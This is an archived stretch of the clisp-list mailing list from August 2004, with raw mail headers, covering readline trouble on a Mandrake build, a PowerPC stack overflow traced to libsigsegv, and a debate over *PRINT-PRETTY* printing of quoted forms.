with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: readline on mandrake Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 27 06:16:48 2004 X-Original-Date: Fri, 27 Aug 2004 09:14:59 -0400 > * Al Co [2004-08-27 08:31:16 +0800]: > > The problem concerning my installation (on Mandrake) is that the arrow > keys and other keys aren't that useful. Pressing 'Up', for instance, > would input "^[[A" on the screen instead of choosing the last command > I've made. Certainly it made programming with this installation very > difficult. You can also run CLISP in Emacs buffer. > You then asked "Did you compiled it yourself?" Well yes, I compiled it > myself, and with the default options (meaning, without doing anything > special): > > in the directory clisp... > ./configure aco_clisp > cd clisp > ./makemake > Makefile > make config.lisp > make > make check > make install the above cannot be what you did (you configured in aco_clisp but then did "cd clisp"). Also, configure should have printed some suggested options for makemake, you should have used them. please do ./configure --with-module=syscalls --build build ./build/clisp and see if readline works. if it does not, please figure out why configure does not find readline. e.g., do you have /usr/include/readline.h? grep build/config.cache build/config.log would also be helpful. -- Sam Steingold (http://www.podval.org/~sds) running w2k 186,000 Miles per Second. It's not just a good idea. IT'S THE LAW. From pascal@informatimago.com Sun Aug 29 12:06:38 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C1V0e-0005s6-TE for clisp-list@lists.sourceforge.net; Sun, 29 Aug 2004 12:06:36 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C1V0d-0004j7-VC for clisp-list@lists.sourceforge.net; Sun, 29 Aug 2004 12:06:36 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id EECD758CB7; Sun, 29 Aug 2004 21:06:28 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4A64548445; Sun, 29 Aug 2004 21:05:56 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20040829190556.4A64548445@thalassa.informatimago.com> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Program stack overflow. RESET on PPC but not on ix86 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 29 12:07:02 2004 X-Original-Date: Sun, 29 Aug 2004 21:05:56 +0200 (CEST) With a "simple" program (parsing HTML into sexp), I get the expected results on Linux/ix86, but I get a: *** - Program stack overflow. RESET Process inferior-lisp segmentation fault on Linux/ppc, both with the same version of clisp "2.33.2 (2004-06-02) (built 3302301418) (memory 3302302003)" and compiled with the same compilation options, basically: --prefix="$PREFIX" --with-module=regexp --with-module=syscalls --hyperspec="$URL" clisp is launched with the following arguments: -ansi -q -K full -m 32M -I -E ISO-8859-1" $ ./install/bin/clisp --version GNU CLISP 2.33.2 (2004-06-02) (built 3302793677) (memory 3302794047) Software: GNU C 3.3.3 (Gentoo Linux 3.3.3_pre20040408-r1) ANSI C program Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX) Installation directory: /home/pascal/firms/intergruas/pa/install/lib/clisp/ User language: ENGLISH Machine: PPC (PPC) naiad.informatimago.com [62.93.174.76] It's compiled with libsigsegv-2.1 installed on the system, and recognized by configure: checking how to link with libsigsegv... -lsigsegv $ cat /proc/cpuinfo processor : 0 cpu : 750FX temperature : 15-17 C (uncalibrated) clock : 900MHz revision : 2.3 (pvr 7000 0203) bogomips : 1785.85 machine : PowerBook4,3 motherboard : PowerBook4,3 MacRISC2 MacRISC Power Macintosh detected as : 257 (iBook 2 rev. 2) pmac flags : 0000000b L2 cache : 512K unified memory : 640MB pmac-generation : NewWorld What could I do about it? -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From sds@gnu.org Sun Aug 29 14:02:13 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C1WoW-0006vD-1J for clisp-list@lists.sourceforge.net; Sun, 29 Aug 2004 14:02:12 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C1WoU-0000nT-Kj for clisp-list@lists.sourceforge.net; Sun, 29 Aug 2004 14:02:11 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1C1WoI-0001tT-00; Sun, 29 Aug 2004 17:01:58 -0400 To: clisp-list@lists.sourceforge.net, Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040829190556.4A64548445@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Sun, 29 Aug 2004 21:05:56 +0200 (CEST)") References: <20040829190556.4A64548445@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_CLOSE BODY: Text interparsed with ) 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: Program stack overflow. RESET on PPC but not on ix86 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 29 14:03:22 2004 X-Original-Date: Sun, 29 Aug 2004 17:01:58 -0400 > * Pascal J.Bourguignon [2004-08-29 21:05:56 +0200]: > > *** - Program stack overflow. RESET (u)limit > Process inferior-lisp segmentation fault > It's compiled with libsigsegv-2.1 installed on the system, and > recognized by configure: > checking how to link with libsigsegv... -lsigsegv this should not happen. Bruno? -- Sam Steingold (http://www.podval.org/~sds) running w2k Only the mediocre are always at their best. From pascal@informatimago.com Sun Aug 29 18:00:00 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C1aWb-0005s4-4P for clisp-list@lists.sourceforge.net; Sun, 29 Aug 2004 17:59:57 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C1aWZ-0003VZ-Ev for clisp-list@lists.sourceforge.net; Sun, 29 Aug 2004 17:59:57 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A44B858CA5; Mon, 30 Aug 2004 02:59:51 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 99649483CF; Mon, 30 Aug 2004 02:59:18 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: fr Reply-To: Message-Id: <20040830005918.99649483CF@thalassa.informatimago.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Conformance: *PRINT-PRETTY* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 29 18:03:22 2004 X-Original-Date: Mon, 30 Aug 2004 02:59:18 +0200 (CEST) When *PRINT-PRETTY* is false, 'A should be printed as (QUOTE A) instead of 'A. http://www.lispworks.com/reference/HyperSpec/Body/v_pr_pre.htm "If it is false, the pretty printer is not used..." And since there are only two printer defined, 22.1 The Lisp Printer and 22.2 The Lisp Pretty Printer, we must refer to 22.1 The Lisp Printer to see how it should be printed (see also 22.1.2 Printer Dispatching). http://www.lispworks.com/reference/HyperSpec/Body/22_ace.htm -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From sds@gnu.org Sun Aug 29 20:45:14 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C1d6X-0001tq-Ma for clisp-list@lists.sourceforge.net; Sun, 29 Aug 2004 20:45:13 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C1d6X-0003et-2S for clisp-list@lists.sourceforge.net; Sun, 29 Aug 2004 20:45:13 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1C1d6Q-0005t1-00; Sun, 29 Aug 2004 23:45:06 -0400 To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040830005918.99649483CF@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Mon, 30 Aug 2004 02:59:18 +0200 (CEST)") References: <20040830005918.99649483CF@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: Conformance: *PRINT-PRETTY* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 29 20:50:16 2004 X-Original-Date: Sun, 29 Aug 2004 23:45:07 -0400 > * Pascal J.Bourguignon [2004-08-30 02:59:18 +0200]: > > When *PRINT-PRETTY* is false, 'A should be printed as (QUOTE A) instead of 'A. > > http://www.lispworks.com/reference/HyperSpec/Body/v_pr_pre.htm > "If it is false, the pretty printer is not used..." it appears that *print-pretty* only affects whitespace: Description: Controls whether the Lisp printer calls the pretty printer. If it is false, the pretty printer is not used and a minimum of whitespace[1] is output when printing an expression. If it is true, the pretty printer is used, and the Lisp printer will endeavor to insert extra whitespace[1] where appropriate to make expressions more readable. -- Sam Steingold (http://www.podval.org/~sds) running w2k A man paints with his brains and not with his hands. From dogskin@fastmail.fm Sun Aug 29 21:27:16 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C1dlE-00086J-Ds for clisp-list@lists.sourceforge.net; Sun, 29 Aug 2004 21:27:16 -0700 Received: from frontend1.messagingengine.com ([66.111.4.30]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C1dlD-0008Gf-R4 for clisp-list@lists.sourceforge.net; Sun, 29 Aug 2004 21:27:16 -0700 Received: from server3.messagingengine.com (server3.internal [10.202.2.134]) by frontend1.messagingengine.com (Postfix) with ESMTP id D865CC15423 for ; Mon, 30 Aug 2004 00:27:12 -0400 (EDT) Received: by server3.messagingengine.com (Postfix, from userid 99) id D484F187482; Mon, 30 Aug 2004 00:27:12 -0400 (EDT) Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="ISO-8859-1" MIME-Version: 1.0 X-Mailer: MIME::Lite 1.5 (F2.72; T1.001; A1.62; B3.01; Q3.01) References: <1093566676.21093.203151323@webmail.messagingengine.com> In-Reply-To: To: clisp-list@lists.sourceforge.net From: "Al Co" X-Sasl-Enc: ObcVvmpADc31xUGOzClwkA 1093840032 Message-Id: <1093840032.11147.203304343@webmail.messagingengine.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: readline on mandrake Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 29 21:28:02 2004 X-Original-Date: Mon, 30 Aug 2004 12:27:12 +0800 > the above cannot be what you did (you configured in aco_clisp but then > did "cd clisp"). Also, configure should have printed some suggested > options for makemake, you should have used them. yes, my mistake, i mistyped in the email. i actually did cd aco_clisp. But I'll do what you suggested first. Thanks! From yavannadil@yahoo.com Mon Aug 30 01:10:38 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C1hFN-0000Cs-L5 for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 01:10:37 -0700 Received: from web40701.mail.yahoo.com ([66.218.78.158]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1C1hFL-0002y9-Ur for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 01:10:37 -0700 Message-ID: <20040830081030.40302.qmail@web40701.mail.yahoo.com> Received: from [62.118.149.144] by web40701.mail.yahoo.com via HTTP; Mon, 30 Aug 2004 09:10:30 BST From: =?iso-8859-1?q?Dmitri=20Hrapof?= To: lenst@lysator.liu.se, emarsden@laas.fr Cc: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 DEAR_SOMETHING BODY: Contains 'Dear (something)' 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Lisp at work Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 30 01:11:17 2004 X-Original-Date: Mon, 30 Aug 2004 09:10:30 +0100 (BST) Dear Sirs! Thanks for your excellent products! CLISP, CLORB and pg-dot-lisp work great in my young, but quite useable system: http://www.cymraeg.ru/geiriadur/disgrifiad-2.html Sincerely yours, Dmitri Hrapof From pascal@informatimago.com Mon Aug 30 06:24:40 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C1m9I-0007uP-0o for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 06:24:40 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C1m9H-0007Na-6R for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 06:24:39 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B963C58CA9; Mon, 30 Aug 2004 15:03:58 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 02968483D1; Mon, 30 Aug 2004 15:03:24 +0200 (CEST) Message-ID: <16691.9628.942769.918579@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20040830005918.99649483CF@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: Conformance: *PRINT-PRETTY* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 30 06:25:18 2004 X-Original-Date: Mon, 30 Aug 2004 15:03:24 +0200 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-08-30 02:59:18 +0200]: > > > > When *PRINT-PRETTY* is false, 'A should be printed as (QUOTE A) instead of 'A. > > > > http://www.lispworks.com/reference/HyperSpec/Body/v_pr_pre.htm > > "If it is false, the pretty printer is not used..." > > it appears that *print-pretty* only affects whitespace: > > Description: > > Controls whether the Lisp printer calls the pretty printer. > > If it is false, the pretty printer is not used and a minimum of > whitespace[1] is output when printing an expression. > > If it is true, the pretty printer is used, and the Lisp printer will > endeavor to insert extra whitespace[1] where appropriate to make > expressions more readable. Yes, that's what I believed at first, but the "If it is false, the pretty printer is not used and ..." clause tell us that it should use the default Lisp Printer, which is specified to print (QUOTE A). -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From bruno@clisp.org Mon Aug 30 09:00:02 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C1oZd-000057-Vh for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 09:00:01 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C1oZc-0006QV-8U for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 09:00:01 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id i7UFxkIh017901; Mon, 30 Aug 2004 17:59:46 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id i7UFxe3f020394; Mon, 30 Aug 2004 17:59:40 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 1B0693B3D8; Mon, 30 Aug 2004 15:56:35 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, User-Agent: KMail/1.5 References: <20040829190556.4A64548445@thalassa.informatimago.com> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200408301756.33812.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: Program stack overflow. RESET on PPC but not on ix86 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 30 09:01:13 2004 X-Original-Date: Mon, 30 Aug 2004 17:56:33 +0200 > > Process inferior-lisp segmentation fault > > It's compiled with libsigsegv-2.1 installed on the system, and > > recognized by configure: > > checking how to link with libsigsegv... -lsigsegv Please try libsigsegv-2.2-pre1 instead ([1]). Version 2.1 did not support all MacOS X versions correctly. Bruno [1] http://www.haible.de/bruno/gnu/libsigsegv-2.2-pre1.tar.gz From pascal@informatimago.com Mon Aug 30 09:34:46 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C1p7E-0006xh-VK for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 09:34:44 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C1p7C-0002ne-2V for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 09:34:43 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 7AC9B58CA9; Mon, 30 Aug 2004 18:34:36 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 72315483D1; Mon, 30 Aug 2004 18:34:02 +0200 (CEST) Message-ID: <16691.22266.376629.546258@thalassa.informatimago.com> To: Bruno Haible Cc: clisp-list@lists.sourceforge.net, In-Reply-To: <200408301756.33812.bruno@clisp.org> References: <20040829190556.4A64548445@thalassa.informatimago.com> <200408301756.33812.bruno@clisp.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: fr, es, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: Program stack overflow. RESET on PPC but not on ix86 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 30 09:35:06 2004 X-Original-Date: Mon, 30 Aug 2004 18:34:02 +0200 Bruno Haible writes: > > 